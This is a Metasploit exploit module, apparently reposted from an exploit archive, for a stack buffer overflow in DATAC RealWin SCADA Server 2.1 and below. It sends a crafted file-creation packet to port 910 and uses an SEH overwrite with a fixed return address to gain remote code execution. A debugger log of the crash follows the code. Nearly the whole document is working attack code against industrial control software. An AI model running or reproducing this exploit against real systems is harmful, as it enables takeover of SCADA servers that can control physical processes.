DATAC RealWin SCADA Server 2 – On_FC_CONNECT_FCS_a_FILE Buffer Overflow (Metasploit)
## # $Id: realwin_on_fc_binfile_a.rb 12975 2011-06-20 04:01:47Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability found in DATAC Control International RealWin SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE packet via port 910, RealWin will try to create a file (which would be saved to C:\Program Files\DATAC\Real Win\RW-version\filename) by first copying the user- supplied filename with a inline memcpy routine without proper bounds checking, which results a stack-based buffer overflow, allowing arbitrary remote code execution. Tested version: 2.0 (Build 6.1.8.10) }, 'Author' => [ 'Luigi Auriemma', 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12975 $', 'References' => [ [ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 450, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Universal', { 'Ret' => 0x4002da21 } ], # P/P/R FlexMLang.DLL 8.1.45.19 ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 21 2011')) register_options([Opt::RPORT(910)], self.class) end def exploit connect data = [0x67542310].pack('V') data << [0x00000824].pack('V') data << [0x00100001].pack('V') data << [0x00000001].pack('V') #Packet type data << [0x00060000].pack('V') data << [0x0000ffff].pack('V') data << rand_text_alpha_upper(221) data << generate_seh_payload(target.ret) data << rand_text_alpha_upper(17706 - payload.encoded.length) data << [0x451c3500].pack('V') data << [0x00000154].pack('V') data << [0x00020040].pack('V') print_status("Trying target #{target.name}...") sock.put(data) select(nil,nil,nil,0.5) handler disconnect end end =begin 0:022> r eax=00000819 ebx=0587f89c ecx=00000039 edx=011fba04 esi=011fc138 edi=0587fffd eip=0042702f esp=0587f738 ebp=011fba04 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 RealWinDemo+0x2702f: 0042702f f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:022> !exchain 0587f748: RealWinDemo+e0b78 (004e0b78) 0587f9a4: FlexMLang!GetFlexMLangIResourceBrowser+2b991 (4002da21) Invalid exception stack at 49a206eb 0:022> u 4002da21 FlexMLang!GetFlexMLangIResourceBrowser+0x2b991: 4002da21 5e pop esi 4002da22 5b pop ebx 4002da23 c3 ret =end |